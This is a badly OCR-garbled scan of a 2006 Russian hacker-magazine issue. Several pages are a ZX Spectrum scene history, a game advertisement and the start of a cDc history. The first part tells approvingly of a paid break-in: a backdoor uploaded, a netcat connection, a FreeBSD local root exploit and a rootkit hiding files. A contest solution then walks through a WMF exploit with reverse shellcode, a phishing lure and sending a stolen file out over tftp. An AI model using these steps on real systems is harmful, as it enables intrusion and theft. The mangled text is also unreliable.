
гі -Н|мйнііг| 




первая команда, которая всегда радует глаз 




Огромное количество руткитов 
под разные оси ты всегда мо- 
жешь найти на 
««т.раскеізіогтзесигііѵ.пі. 
«тт.зесигііѵіосиз.сот. 
«тт.зесигіІѵІаЬ.гу 





Словарики для своих брутеров 
ты всегда можешь найти на 
«пдм.раззшгсіз.ги 



ух, щас кто-то огребет! 




получил очередного ободряющего пинка. Тогда решил схитрить 
и поменял разрешение: .рбр на діТ.рЬр. И что ты думаешь? Кар- 
тинка удачно зааплодилась! Я прошел по ссылке на картинку и 
загрузил ее у себя в браузере, но она долго не хотела грузить, а 
это говорило о том, что бэкдор был залит и запущен. Теперь я по 
старинке слил себе виндовый пеісаі и попробовал зацепиться к 
моему серверу: 

С:\>пс ѵѵѵѵѵѵ.зегѵег.доѵ 32767 

Первая команда ѵѵНо выполнилась на ура. Кстати, на тот момент 
в системе я был один, а значит, путь открыт, и нужно было быст- 
ро принимать решение. 

КООТ МЕ РІ.2 

Итак, половина пути была пройдена, но шелла с ограниченными 
правами мне, конечно же, не хватало, а денежная мания пол- 
ностью поглотила меня и подталкивала на решительные 
действия. Нужно было рутать, рутать и еще раз рутать. Команда 
ипате -а показала мне здешнюю операционку. Это была моя 
давняя подруга РгееВзсІ 4.3. Странно, я наделся увидеть версию 
посвежее :). Ну да ладно, мне же лучше. Ветка фряхи была уяз- 
вима, подтверждение тому служил эксплойт от Оеогді Ѳипіпзкі 
( \д/\д/ѵѵ.аипіпзкі.сот ). Суть бага проста до безобразия: при выпол- 
нении ехес() не все обработчики сигналов очищаются, что позво- 
ляет встроить свой код в зиіб-приложение. Удачно слив сплоит, я 
собрал его и получил готовый для запуска бинарник, который так 
и ждал, чтобы я его запустил :). Ну что же, его ожидании быстро 
оправдались, и через несколько минут мои права уже сменились 
на нулевые, а это означало, что рут-доступ был получен. После 



повышения прав я не решился добавлять своего юзера, так как 
даже самый ленивый и тупой админ заметит его присутствие и 
перекроет ему кислород, а за это заказчик меня по головке не 
погладит :), поэтому я решил ограничиться обычным руткитом. 
Так как система была ТгееЬзсІ, то збѵ или абоге в нашем случае 
не рулит. Здесь нужно было юзать специально заточенный под 
нашу ось руткит. Я выбрал отличный и довольно старый руткит 
под названием ТЬгк. Он много чего умеет, но одной из ярких его 
особенностей является возможность скрывать файлы и процес- 
сы. Нужно всего лишь занести в конф такие строки: 

/йеѵ/М/.99/.ПуГО0 

/йеѵ/М/.99/.Пур00 

Установка руткита тоже радует, стоит лишь вбить ./зеіир, и далее 
все пойдет как по маслу. Чтобы схватить с помощью него рута, 
нужно задать переменную Э1$Р1_АУ, значение которой и будет 
пароль: 

0І5РІ-АѴ=»д\л/егІу»; ехрогі 0ІЗРІ_АУ; Іеіпеі Розі 

И все. Но это не единственная возможность данной тулзы. 

ГШІ5Н НІМ! 

В очередной раз, поймав заказчика в онлайне, я сообщил ему хо- 
рошие новости, которые явно его очень обрадовали. Так что он 
без особых заморочек скинул мне 50% от суммы, далее я отдал 
ему добытый рут-доступ, и он перевел остальную сумму. Я уже не 
в первый раз был доволен собой и уже начал обдумывать буду- 
щей апдейт своего железного коня. 

вшаку гоин'5 зс 



ГКЕЕБ8Б 4.3 ШСАЬ 

Жарким летом года три тому назад небезызвестный Жора Гунинский нашел серьезную проблему в 
ЬгесВЗІ) 4.3 и более ранних версиях. Баг был обнаружен в обработчике сигналов 
і іог1с( КРР КОС I КР8ІС8НАКЕ) . При выполнении команды ехес() в з и і с! - 1 1 р и л оже н и и этот сигнал не 
очищался, что позволило хакеру внедрить любой код в бинарник с поднятым зыісі -битом. Как нес- 
ложно догадаться, при локальном использовании эта отмычка помогает быстро получить рутовые 
привилегии, что и проделал с успехом автор этой статьи. Получить исходник этого бронебойного 
сплоита можно тут: лу\уш. етдпішкі.сот /уѵй-ееЬ.згІ ,с . 



082 



ХАКЕР 02 /86/ 06 










В завершившемся конкурсе тебе требовалось поломать компьютер 
злющего преподавателя по фамилии Боровских. Как ты помнишь, 
этот негодяй прятал на своем компе варианты для экзамена по одно- 
му из своих сложных предметов. Тебе нужно было спасти армию сту- 
дентов от неминуемого краха, для чего требовалось любым способом 
спереть с компьютера дернутого профессора варианты заданий. В 
качестве отправной точки на нашем форуме тебе был сообщен е-таіі 
адрес профессора, а также вскользь было упомянуто, что он пользу- 
ется виндой, хакеров называет «погаными отморозками, которые 
портят мне жизнь» и при этом совершенно не умеет устанавливать 
обновления для своей системы. Было сказано также, что профессор 
пользуется Интернетом исключительно с 21:00 до 22:00, после чего 
выпивает стакан минералки и ложится спать. 

Непростая тебе досталась мишень, согласись. Однако среди наших 
читателей нашлось немало крутых хакеров, которым удалось раздра- 
конить профессора Боровских и упереть нужные материалы Пер- 
вым с поставленной задачей справился чувак с ником рідду_ѵѵіп. Что- 
бы пройти конкурс, этот парень проделал следующие действия. 



1 Поскольку профессор не устанавливает обновления на систему, 
у него, скорее всего, не закрыта дырка при обработке ѴѴМР-файлов. 
Поэтому разумно было заюзать относительно свежий сплоит для 
ѴѴІлсІоѵѵз ХР, который мы так подробно описали в этом номере. 

2 Для этого бага создано довольно много эксплойтов. Можно было 
воспользоваться самым первым, выполняемым под Меіазріоіі 
Ргатеѵѵогк. В качестве ядовитого шелл-кода разумно было заюзать 
\л/іп32_геѵегзе. Сгенерировав ядовитую картинку, нужно было любым 
путем впарить профессору ссылку на картинку. 

3 Чтобы заинтересовать профессора ссылкой, нужно было напи- 
сать, что, перейдя по ней, он получит бесценную информацию о 
борьбе с хакерами. В назначенное время Боровских перейдет по 
твоей ссылке, выполнится твой шелл-код, и ты получишь доступ 
к стб.ехе на его тачке. 

4 РІайти нужный файл не составляло труда. Он назывался 
дас1асЫ_игс1пр.гаг и находился в папке Му Эоситетз. 

5 Проще всего слить этот файл было при помощи консольной коман- 
ды 11р. Подключившись к своему Ир, надо было выполнить команду 
риі 2 абасЫ_игсИр.гаг. 
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ТЕХТ ВЛАД СОТНИКОВ / ѴЕСА56@МАИ-.КІІ / 



ЗОЛОТЫЕ ГОДЫ 
СПЕКТРУМА 



15 ЛЕТ ^ 
2Х-СЦЕНЫ 

к 



ііНАВЕРНОЕ, КАЖДОМУ КОМПЬЮТЕРЩИКУ ЗНАКОМО СЛОВО 5РЕСТШМ. В СВОЕ 
ВРЕМЯ ЭТОТ ПЕРСОНАЛЬНЫЙ КОМПЬЮТЕР СТОЯЛ В КАЖДОЙ ДЕСЯТОЙ КВАРТИРЕ. 
СРАВНИТЕЛЬНО НЕБОЛЬШАЯ ЦЕНА ПОЗВОЛЯЛА ПОКУПАТЬ ЕГО В КАЧЕСТВЕ ИГРОВОЙ 
ПРИСТАВКИ ДЛЯ ДЕТЕЙ, НО ОТ ПРИСТАВОК ТИПА ЭЕШѴ ЕГО ОТЛИЧАЛО НЕСКОЛЬКО 
ОСОБЕННОСТЕЙ. ВО-ПЕРВЫХ, ИГРЫ К НЕМУ СТОИЛИ НАМНОГО ДЕШЕВЛЕ, ВО-ВТОРЫХ, 
В СПЕКТРУМ БЫЛ ВСТРОЕН ЯЗЫК ПРОГРАММИРОВАНИЯ ВА5Ю И ВОЗМОЖНОСТЬ 
СОЗДАВАТЬ НА НЕМ СОБСТВЕННЫЕ ПРОГРАММЫ ДЕЛАЛА ЕГО ОСОБЕННЫМ** 



ПОЯВЛЕНИЕ СПЕКТРУМА В СССР 

2Х-5ресІгцт был выпущен английской фирмой 
НезеагсЬ Ш в 1982 году. Ее глава, сэр Клайв Синклер, 
за свое изобретение впоследствии получил звание 
лорда. На тот момент это была довольно мощная плат- 
форма: 48 килобайт ОЗУ (16 в самых первых моделях), 
16 килобайт ПЗУ, куда входил Вазіс, в качестве мони- 
тора использовался обычный телевизор, а в качестве 
носителя информации — кассетный магнитофон. За 
счет небольшой стоимости этот компьютер быстро за- 
воевал рынок, и его приобрели миллионы людей. Пос- 
кольку компьютер позиционировался как игровой, для 
него вскоре появилось множество самых разных игр, 
что сделало его серьезным конкурентом для игровых 
консолей того времени. Успех, впрочем, длился недолго. К кон- 
ц/ 80-х годов популярность Спектрума снизилась, его продажи 
резко сократились. Определенные маркетинговые ошибки 
Клайва Синклера привели к банкротству Зіпсіаіг ВезеагсИ Ш., 
и права на производство компьютера выкупила фирма 
Аптзігасі, которая заморозила его выпуск. 

В то время как в Европе Спектрум медленно умирал, в нашей 
стране он только начинал свое развитие. Благодаря прос- 
той схеме компьютер можно было легко собрать, что 
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Мах Іѵѵатоіо 
из легендарной 
Сосіе Визіегз 




привлекло к нему наших производителей. Незнакомые с по- 
нятием «авторские права», десятки кооперативов в начале 
90-х годов наладили выпуск 2Х-Зрес(гит'ов. Проблем с соф- 
том тоже не было: проходя через социалистические стра- 
ны, такие как Польшу, программы непрерывным ручьем по- 
текли на рынки стран СНГ. 

К середине 90-х годов Спектрум в нашей стране уже был по- 
настоящему популярен. Причем, в отличие от европейских 
юзеров, наши умельцы пытались его всячески модернизи- 
ровать, что в итоге привело к расширению памяти до 128 ки- 
лобайт и замене простенького бипера трехканальным музы- 
кальным процессором Уатаба. Конечно, для многих ранних 
спектрумистов зрессу (так прозвали Спектрум) служил в ка- 
честве игровой машины, но со временем ЗаЬаІеиг, Пшгу и 
другие игрушки приелись, так как хотелось чего-то больше- 
го. И народ принялся творить. Кто-то экспериментировал о 
музыкой, используя примитивный редактор ѴѴИат! или пер- 
вый редактор треков Зоипб Тгаскег, кто-то стал рисовать 
графику в редакторе АД Зіисііо, дающем кучу инструментов 
для создания цветных картинок. Только с программировани- 
ем были сложности: на прошитом в ПЗУ ВАЗІС’е можно бы- 
ло создать программы, но скорость их работы оставляла 
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желать лучшего. С минутными паузами при построении функций о 
создании полноценных игр нечего было и мечтать. Но игры такие 
были, и как-то их делали! 

Вышедшая в издательстве «Питер» книга Ларченко и Родионова 
«2Х Зресігцт для пользователей и программистов» познакомила 
юзеров с основами ассемблера. Именно этот язык открывал две- 
ри к настоящему программированию. Но так просто создать что- 
то впечатляющее, даже зная язык, было невозможно. Будущим 
кодерам предстояло еще пройти школу крэкинга. 

СКАСКЕР ВУ Віи. СІІ.ВЕКТ 



В эру 48-килобайтных компьютеров софт поставлялся на кассе- 
тах, и это были, как правило, только европейские игры, написан- 
ные во второй половине 80-х годов. Само собой, все они были за- 
щищены от копирования, и чтобы неплатежеспособный советский 
юзер мог поиграть в такую игрушку, ее требовалось крэкнуть. 
Взломом занимались преимущественно в Польше. Многие спект- 
румисты наверняка помнят надпись Сгаскеб Ьу ВІІІ (ЗіІЬегІ в загруз- 
чиках многих игрушек. Билл Гилберт стал поистине мифической 
личностью — такого количества программ не сломал, наверное, 
ни один хакер. Ходили слухи, что под этим псевдонимом работала 
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ППППВИНЕ ЯП-Х ГОДОВ, 



целая польская хакерская группа. Другие утверждали, что видели 
Билла Г илберта лично, и сейчас он ломает что-то для РС. Как оно 
было на самом деле, теперь уже неважно, но факт остается фак- 
том: игра выпускалась в Великобритании, ломалась в Польше и 
уже в крэкнутом виде оказывалась у российского пользователя. 
Когда в обиход вошли дисководы, запускать игрушки с дискет 
оказалось намного быстрее и удобнее. Для того чтобы записан- 
ная на кассету игра могла грузиться с дискеты, необходимо бы- 
ло изменить загрузчик, а именно: вставить в загрузчик на бейси- 
ке пару дополнительных строк. Некоторые загрузчики оказыва- 
лись более защищенными и были написаны на ассемблере. 
Юзеры, которые хотели перегнать свои коллекции с кассет в бо- 
лее удобный формат, вынуждены были во всем разбираться са- 
мостоятельно. Вышедшая в том же издательстве «Питер» книга 
Н. Родионова «Секреты ТВ-005» помогла спектрумистам узнать 
о многих распространенных в то время защитах, в первую оче- 
редь — на ассемблере. Ее автор впервые употребил слово 
«ксорка», означавшее защиту информации с помощью команды 
ассемблера ХОР. Интересно, что это пособие для хакеров сам я 
купил в «Доме Книги» (книжный магазин в Петербурге). Люди 
учились взламывать чужие защиты и делать свои, и постепенно 
дискофикация программ стала любимым развлечением многих 
спектрумистов. Нужно ли говорить, что многие дискофицирован- 
ные проги были защищены от взлома намного лучше оригинала? 

РАЗВИТИЕ ДЕМОМЕЙКИНГА 

Покупая диски с играми, со временем спектрумисты стали находить 
на некоторых из них странные программы, которые не являлись ни 
играми, ни системными утилитами. В них под музыку вращались гео- 
метрические фигуры, составленные из точек и линий, а по экрану 
плавно шел текст, написанный на польском языке. Это были первые 
спектрумовские демки, созданные с единственной целью — пока- 
зать мастерство программиста. Пользы они не несли, но смотреть их 
было приятно. Первой хитовой спектрумовской демой стала Буга II 
Медабето. Состояла она из нескольких частей, каждая из которых 
имела свои уникальные эффекты и музыкальный трек. Причем из 
начального меню можно было загрузить любую часть в произволь- 
ном порядке. Еще две демки, которые навсегда вошли в историю: 
Заіізіасііоп и ЗИоск Медабето. Все три демы (а также первая Буга) 
были написаны русскими программистами — Мах Іѵѵаплоіо и В5Т 7 — 
из группы Собе Визіегз, которые очень быстро стали легендами IX 
Сцены. Демки содержали невиданные ранее на спектруме эффек- 
ты, которые позже были взяты на вооружение практически всеми де- 
момейкерами. В Заіізіасііоп, к примеру, впервые можно было увидеть 
«мультиколорный» скроллинг. На спектруме, как известно, всего 16 
цветов, и в знакоместе (8x8 пикселей) может быть только два цвета. 
Это ограничение обходилось программным путем: быстро наклады- 
вая и синхронизируя в одном месте несколько цветов, можно полу- 
чать цвета, не предусмотренные аппаратно. Кроме того, в них впер- 
вые была использована цифровая музыка: песня Біпіогдіѵеп группы 
МеІаІІІса звучала на Спектруме как нечто фантастическое. Именно 
нахождение нестандартных путей и решений стало тем знаменем, 
под которым пошли спектрумисты в последующие годы. Сейчас быв- 
шие мемберы Собе Визіегз работают программистами в Америке — 
такая судьба у многих русских IX кодеров. 

Осознание того, что это возможно, дало стимул создавать свои 
демки. К этому времени спектрумисты делились на три категории: 
художники, музыканты и кодеры (программисты). Просто пользо- 
вателей, не умеющих и не делающих ничего, было крайне мало. 
Для демонстрации работ и просто совместной тусовки стали орга- 
низовываться демопати, первым из которых стал ЕпІідИІ. Состоял- 
ся он в 1995 году в Питере и собрал около 100 человек. Следую- 
щий ЕпІідМ прошел через год, его посетило уже вдвое больше лю- 
дей. Эти демопати были по-настоящему андеграундовыми: люди 
принесли свои компьютеры, в качестве проекторов использова- 
лись старенькие телевизоры, а в качестве источника звука служи- 



ли колонки, раскиданные по залу (из них самые мощные были где- 
то под лестницей), при этом постоянно отваливались кабели, сое- 
динявшие аппаратуру (не без участия посетителей, которые поп- 
росту об них спотыкались). Но все эти «ужасы» никого не отпуги- 
вали. То, что показывалось на мониторах, и живое общение сто- 
рицей окупали организационные недочеты. На ЕпІідМІ 96 в катего- 
рии «2Х-демо» свои работы выставили ведущие демогруппы СНГ : 
Собе Визіегз (Харьков), Оідііаі ВеаІІІу (Новгород), Х-Тгабе (Петер- 
бург), ВБІЗН (Москва) и другие. Их уровень превышал все, создан- 
ное на спектруме ранее, как польскими программистами-любите- 
лями, так и ведущими европейскими игровыми компаниями. 

ЕпІідЫ 97 состоялся в актовом зале Кораблестроительного Инс- 
титута в Петербурге, съехалось на него намного больше людей, 
чем планировали организаторы — порядка полутора тысяч. Мно- 
гие себя вели по-хамски, проносили в зал пиво, разрисовывали 
стены компьютерной символикой. В результате терпение органи- 
заторов лопнуло, и второй день был отменен. Конечно, тех, кто 
специально приехал на пати из Украины, Белоруссии и более от- 
даленных стран, это решение возмутило, и инцидент потом еще 
долго обсуждался в электронной прессе. 

СПЕКТРУМОВСКАЯ ПРЕССА 

Одновременно о зарождением 2Х-сцены в стране появилось боль- 
шое количество так называемых диокмагов и е-зинов. По сути, это те 
же журналы и газеты, только сделанные в виде программ и имеющие 
свое оформление, содержание и музыкальное сопровождение. Ста- 
рейшим спектрумовским электронным журналом можно считать 
Зресігоіоп под редакцией Дмитрия Матвеева. Проект был коммер- 
ческим, что положительно влияло как на качество, так и на периодич- 
ность выхода диокмага. Первый номер Зресігоіоп’а вышел в начале 
1994 года, имел уникальную оболочку (статьи выбирались из меню 
нажатием соответствующей цифровой клавиши) и постоянные руб- 
рики (Экспертиза, Дебют, С миру по биту, Обзор, Система, Горячий 
привет). На протяжении полутора лет этот ежемесячный дискмаг ос- 
тавался основным спектрумовским электронным изданием. Достой- 
ный ответ москвичам Питер дал только в 1 995 году с выпуском жур- 
нала 2Х-РогппаБ Создатели не стали копировать идеи спектрофона, 
придав своему детищу совершенно новый вид. Статьи теперь выби- 
рались курсором в одном из всплывающих окон, многие рубрики 
имели подрубрики. Помимо этого, в каждом приложении журнала 
можно было найти свежий софт и игры. Для всех статей звучали раз- 
ные композиции, написанные известными музыкантами Ігоптап и 
ЭИК, а в качестве обложки служила великолепная картинка. Статьи 
публиковались на самые разные темы: от новостей и различных об- 
зоров до объемных технических документаций для продвинутых ко- 
деров. Единственным минусом 2Х-РогтаГа были большие задержки 
с выходом, но благодаря его качеству каждый следующий номер ста- 
новился событием для Зресігит-сцены. Редактор журнала (Визіег) 
присутствовал на всех тусовках спектрумистов и старался быть в 
курсе всех событий, чтобы инфа всегда была актуальной. 

Из газет можно упомянуть московскую ІМІсгоп под редакцией ѴѴІобек 
ВІаск’а (она, кстати, выходит до сих пор!), питерскую IX Ыеѵѵз, 
ВогпЭеасІ, Негезу, Опііпе, IX РІЫ и многие другие. Эти издания осве- 
щали жизнь сцены, из них спектрумисты узнавали о новых проектах, 
тусовках, интересных людях и даже могли с их помощью переписы- 
ваться. Благодаря электронной прессе появилось понятие «элита». 
Это люди, которые внесли в развитие сцены определенный вклад и 
про которых все знали. Они были простыми школьниками и студен- 
тами, с которыми, в отличие от голливудских звезд, можно было зап- 
росто пообщаться и попить пиво в тусовочных местах спектрумистов. 
Такими местами обычно становились точки продажи дисков с софтом 
и железячные рынки. Например, в Питере популярными местами для 
встреч стали рынок «Юнона» в Автово и магазин «Логрос» возле мет- 
ро «Петроградская». В «Логросе» каждый вторник и четверг (время 
работы магазина) можно было встретить известного спектрумовско- 
го геймдевелопера Славу Медноногова, ребят из Ѵоідазой, Зіуіе 
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Ѳгоир, Оізсоѵегу и других. Там же сценеры могли показать старожи- 
лам свои поделки и войти в состав какой-нибудь группы. К 1996 году 
в Петербурге насчитывалось около десятка активных спектрумовс- 
ких групп и около 100 человек, занимающихся созданием высокока- 
чественных программ и демок. 

ЖЕЛЕЗО 

После того как в начале 90-х появились дисководы (музыкальный 
процессор Уатаба и расширенная память), они быстро стали 
стандартом де-факто для всех активных спектрумистов. Те, кто 
по какой-то причине еще пользовался 48-килобайтными кассет- 
ными раритетами, стремились как можно быстрее произвести 
апгрейд, так как разница между ними была велика . Но на этом 
разработка нового железа не останавливалась. Железячники не 
хотели отставать от кодеров, и все время искали способы увели- 
чить возможности старого доброго спекки. В 90-х годах сущест- 
вовало несколько базовых схем Спектрума, носивших такие наз- 
вания, как Репіадоп, Ленинград, Зоновская и т.д. Позже стали 
выпускаться разновидности, имеющие свое собственное назва- 
ние, так называемые спектрум-совместимые компьютеры: КАѴ, 
Зсогріоп, которые, по сути, отличались только увеличенной до 
256-1024 Кб памятью, ускоренным до 7 МНд процессором и неко- 
торыми приятными бонусами. 

В 1996 году Оапдегоиз из группы Х-Тгабе представил новую зву- 
ковую карту для 7.Х — СепегаІ Зоипб. Она имела собственный 
процессор 280 на 12 МНг, 128 или 512 Кб оперативной памяти и 
была способна проигрывать 4-канальные тоб'ы, распростра- 
ненные в свое время на Амиге и РС-формате. Одним из уст- 
ройств, поднявших Спектрум на новый уровень, стал РЮО-конт- 
роллер, который позволял подключать к зрессу винчестер. Чуть 
позже добавили поддержку С0-Р10М. Сейчас на Спектруме мож- 
но читать даже ОѴ-диски, а в ближайшее время будет реализова- 
на и запись СО-Р(Ѵ\/) и ОѴО-В(ѴѴ). 

С появлением НАУЕЗ-модема, спектрумисты смогли выходить со сво- 
ей домашней машины в сеть РЮО. А затем обзавелись и собственной 
сетью 2Х №1. 

2Х ЫЕТ 

Купить модем для Спектрума можно было еще в 1994 году. Создал 
и продавал его некто Усов — учитель информатики в питерской 
школе. Это был одночастотный модем, работающий только на 
прием или передачу. Вся обработка передаваемой информации 
проводилась программно, как и контроль ошибок. Тем не менее, 
этот модем позволял обмениваться информацией между двумя 
спектрумами на скоростях 600 и 1800 бод по протоколу Хтобет. 
Однако существовал большой недостаток: терминальная прог- 
рамма при работе требовала присутствия админа, так как даже об- 
мен файлами проходил вручную. Поэтому сети на этой основе 
построить еще было нельзя. В то время существовало 2 станции, 
куда со своих модемов могли заходить спектрумисты, но они рабо- 
тали на РС и были крайне неудобными в обращении. 

На прошедшей в 1996 году демопати ЕпІідЫ состоялась встреча 
двух людей: Александра Майорова (МАЗ) и Алексея Михайлова 
(Агпо), которые решили объединиться в группу. Их основным 
проектом стала полноценная программа для модемной сети. 
Первым шагом Отеда Сгоир было создание электронной газеты 
2Х Ыеѵѵз. Это издание выходило еженедельно и выкладывалось в 
свободном доступе на тех самых двух писишных станциях. Каче- 
ственная графика, оригинальная музыка и актуальные статьи 
сделали эту газету очень популярной. Ответственным за выпуск 
2Х Ыеи/з стал Агпо, в то время как МАЗ бросил все свои силы на 
написание спектрумовской программы, автоматически принима- 
ющей входящие звонки пользователей. 



Когда она была готова, и спектрумисты обрели возможность пост- 
роить полноценную модемную сеть, независимую от РС, появилось 
сразу несколько спековских ВВЗ. Причем их внешний вид и воз- 
можности могли дать фору писишным бордам: цветная графика, ра- 
бота с диском ВВЗ, как со своим собственным, простота во всем... 
Для связи между отдельными сетями в разных городах использо- 
вали ЕЮОпеІ. Был выработан единый формат писем, правда, 
вместо. ркі использовался упрощенный .1x1. Так образовалась 2Х 
№1, объединившая десятки городов: Питер, Москву, Самару, 
Владивосток, Харьков, Брест, Тирасполь и многие другие. Общее 
количество ее пользователей составляло несколько тысяч чело- 
век. Само собой, стали образовываться виртуальные группы, 
участники которых обменивались исходниками, графикой и му- 
зыкой. В Питере сеть отчасти стала причиной закрытия торговых 
точек, где продавались диски с программами. Закрылся «Лог- 
рос», исчез спектрумовский софт с Юноны, опустели места пос- 
тоянных тусовок. Но зато в обиход вошли такие слова, как «си- 
сопка» и «поинтовка». В настоящее время 2Х Ыеі полностью под- 
держивает БТІЧ-стандарты и имеет зональный номер 500, а каж- 
дый спектрумист-сетевик также является пойнтом РЮО. 

НОВАЯ ЖИЗНЬ СПЕКТРУМА 

Конец 90-х годов стал для 2Х-сцены тяжелым испытанием, так как 
многие спектрумисты перешли на более мощные машины. Для 
серьезной работы требовались знания РС, а не Спектрума, на мно- 
гих повлияло общественное мнение, мол, как можно сидеть на 3,5 
Мгц во времена третьего квейка? Развитие РС было стремитель- 
ным, в то время как в 2Х деньги практически никто не вкладывал, и 
поддерживали его только энтузиасты. С другой стороны, стань 
Спектрум массовым компьютером, как сегодня РС, появление боль- 
шого количества неграмотных, ничем не интересующихся пользо- 
вателей, лишило бы его главного преимущества — творческой иск- 
ры. Несмотря ни на что, Спектрум пока не собирается уходить на 
покой, как, например, ВК-0010. Многие бывшие спектрумисты, став- 
шие сейчас программистами в ведущих компаниях, возвращаются и 
снова пишут для любимого компьютера. Найти их и почитать нос- 
тальгические дискуссии можно на форуме И11р://гх.рк.ги . Существу- 
ет огромное количество и других сайтов, посвященных зрессу. 
А центровым спековским ресурсом в рунете является Ѵігіиаі ТВЮОЗ 
( ЬНр://1гб.зрессѵ.с2 І. где можно узнать все последние новости и ска- 
чать известные русские демки, игры и дискмаги. 

Есть люди, которые по-прежнему не спешат расставаться со своим 
компьютером. И действительно, зачем? Спектрум позволяет просмат- 
ривать, набирать и распечатывать тексты, слушать музыку, играть 
в игры и реализовывать свой творческий потенциал. Многие програм- 
мы, которые установлены на каждом РС, имеют свои аналоги на зрес- 
су. Железо тоже не стоит на месте. В последнее время заметно уве- 
личился интерес спектрумистов к развитию аппаратных возможнос- 
тей Спектрума. Объясняется это технической грамотностью совре- 
менных пользователей 2Х: сейчас люди с техническим образованием 
чаще работают по специальности, в отличие от 90-х годов. В Москве 
подобными разработками занимается группа ЫесІоРС, выпускающая 
компьютер АТМ ТцгЬо — разновидность Спектрума со встроенным 
ЮЕ-контроллером, кодировщиком РѲВ сигнала в РАБ (это позволяет 
подключать компьютер к современным телевизорам) и звуковой кар- 
той ТигЬо ЗоипсІ на базе двух процессоров Ѵатаба. 

Что касается фестивалей, то они проходят достаточно часто. 
В 1998 году на смену ЕпІідЫ’у в Москве состоялся ЕапТор, а в 1999 го- 
ду появилось сразу несколько новых демопати: СЬаоз Сопзігисііопз, 
Рагабох, САРе, ОІНаІІ, МІІІепіит. Пока они будут проходить, будет жива 
и сцена. А пока живет сцена, не умрет и Спектрум. Впрочем, этот ма- 
ленький творческий компьютер будет жить вечно во многих сердцах. 

віианѵ ѵоив’5 зс 
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“ФУТБОЛЬНЫЙ МЕНЕДЖЕР”! 




ЖУШШИ 



і ітт и ггщ - пощкл на финал лиги чшпнамрв щь, 

Па мтогам меснца (март апрель Май ишпь а в 
густ, сентябрь, октябрь, ноябрь) приз получает луч 
шея команда дан-ного периода Также поощряется 

лучшая команда по итогам каждого тура чем 

пиона та российской премьер-лиги Даже не очень 

удачный старт не лишает вас шансов на уснем! 



ТЫ ПОЛУ ИДЕШЬ 5135 миллионов 

ив, приобретен*»» игрекесі росеитиой нреілорипиі-й; при ре- 
гистрами*» ил ем»те *ч^-Юаі-імКіАш т 

Ягрк смдоилам*»» сувои чваікечи меиймн поеы«№ЛИтц к йы^шм'ву 

(Г ицч*ии ЭЙИО іур* 

тми яонак» якадю остин « и «ноше игевкн г« дакни* о «шиви 

И»н*»і Ібепичесііі» зміями и ктмф мп зевднм-чив СгеммаС’і*- кмичйн н.і щр, 

ош-Ш 

ѵ»н|і КИМІЯ 4 лцадинак учктм «гіММКК ТПуг»вИЫ 8 м еа»г« 

мп» йиМвопис 'т плодом. чіа ты лічлічі отсявпмми меч*"*»' 



Вс* ШИнцЬ. ІОКЧІІІИИЛІИІ ЧяЩ-1» ФЧіймДД 1 ЮТ» .-гапуіакіі До^пн.і 
ТВПЬЧв ОДНИ ав-м-і в &анщ>м ІПВДІ. 

Ты иояцішы ниш*, чо інмняини числа проогасс^аічпкіы* яаищ іпм 
сзѵнѵ пмыіь» ли* шансы на финальной и іпчнь н пемы! 



X ИГРОКОВ И ПРИВЕДИ ЕЕ К ПОБЕДЕ 



ТВОЙ СЕЗОН! ТВОЯ КОМАНДА! ТВОЙ РЕЗУЛЬТАТ! 

И» №4 1» йенъ*» С «мешая. МОблТМ- ■■ о телефона м *оС ІрОИДО ЕУ 



ИГРА СТЙРТУП 13 ФЕВ РАЛ Н 200« 






СЦЕНА 



► 



ТНЕ ВЕСтЫШС 

Кевин был одним из тех подрост- 
ков, которые росли на 8-битных 
персональных компьютерах ти- 
па Аіагі 2600з, а самым поворот- 
ным событием в своей жизни 
считали фильм «Военные игры». 
Днем он отправлялся в школу и с 
нетерпением ждал последнего 
звонка, чтобы добраться домой и 
запустить новую видеоигру. Ке- 
вину повезло больше, чем ос- 
тальным ровесникам. Его отец 
работал в компьютерной облас- 
ти и купил для сына модный 
Арріе II, а в один прекрасный 
день принес с работы модем. 
С этого момента парень с голо- 
вой окунулся в мир ВВЗ, дозва- 
ниваясь по ночам на станции, 
раскиданные по всей стране. Их 
владельцами были такие же 
компьютерные фанаты, как он. 
Обмениваться с ними сообще- 
ниями, качать свежий софт бы- 
ло для него самым интересным. 
Ценной информацией счита- 
лись описания трюков, позволя- 
ющих обманывать телефонные 
сети и залезать в компьютер- 
ные системы, поэтому он соб- 
рал как можно больше таких 
текстов и внимательно изучил и 
опробовал на практике каждый. 



СПАИМА5ТЕП ПАТТЕ 



1984 

В 1984 году Кевин уже имел 
псевдоним Огапсітазіег Вайе и 
собственную ВВЗ под названи- 
ем Оетоп ВоасН ІІпсіегдгоипсі. 
У него также появилось много 
новых друзей среди обитателей 
андеграундовых борд. Мысль о 
том, что любой может написать 
текст и распространить его по 
электронным доскам, впечатля- 
ла 14-летнего паренька. В его 
голове постоянно роилась ку- 
ча мыслей, которые находили 
выход на бумаге, и он даже по- 
думывал выпускать свою газе- 
ту. Но максимум, на что ему 
могло хватить денег — это 50 
копий, которые пришлось бы 
буквально всучить знакомым и 
которые, скорее всего, нашли 
бы свой последний приют на 
дне мусорного ведра. В то же 
время к электронным статьям 
было совсем другое отноше- 
ние. Они были редкостью, к то- 
му же для их распространения 
не нужно было тратить ни ко- 
пейки. Так что первое, что сде- 
лал Кевин после того, как отк- 
рыл борду, — начал наполнять 
ее, помимо прочего вареза, 
своими текстами о компьюте- 
рах, музыке, ВМХ, книгах и т.п. 



СОѴѴБ 

Оетоп Воасб ІІпсіегдгоипсі ВВЗ 
была доступной не для всех. 
Когда юзер логинился в систе- 
му, от него требовалось ввести 
пароль (ѴОЮ), о котором знали 
немногие. Самыми частыми по- 
сетителями борды были 
Ргапкеп ѲіЬе и ЗісІ Ѵісіоиз, си- 
сопы двух других популярных 
андеграундовых ВВЗ и риал- 
лайфовые приятели Кевина. 
Они вместе жили в маленьком 
техасском городишке Лаббок, 
окруженном со всех сторон по- 
лями хлопка, где единственной 
достопримечательностью был 
Технический Университет. Они 
периодически встречались на 
скотобойне одной из местных 
ферм, чтобы поболтать на 
компьютерные темы, обсудить 
новые хакерские трюки, све- 
жий варез, статьи. Однажды в 
процессе общения парни ре- 
шили, что было бы неплохо 
объединиться в группу. Но быть 
очередной хактимой с названи- 
ем в духе йагк Зйапдегз им не 
хотелось, потому что нужно бы- 
ло придумать что-то особен- 
ное. Так как вокруг было полно 
коров, название появилось 
само — СиІІ о! йіе ОеасІ Соѵѵ.* 



1.0 N С 80 

На протяжение 80-х годов сОс 
принимала активное участие в 
жизни ВВЗ соттипііу, а Оетоп 
Воасіі ІІпсіегдгоипсі стала од- 
ной из самых посещаемых ха- 
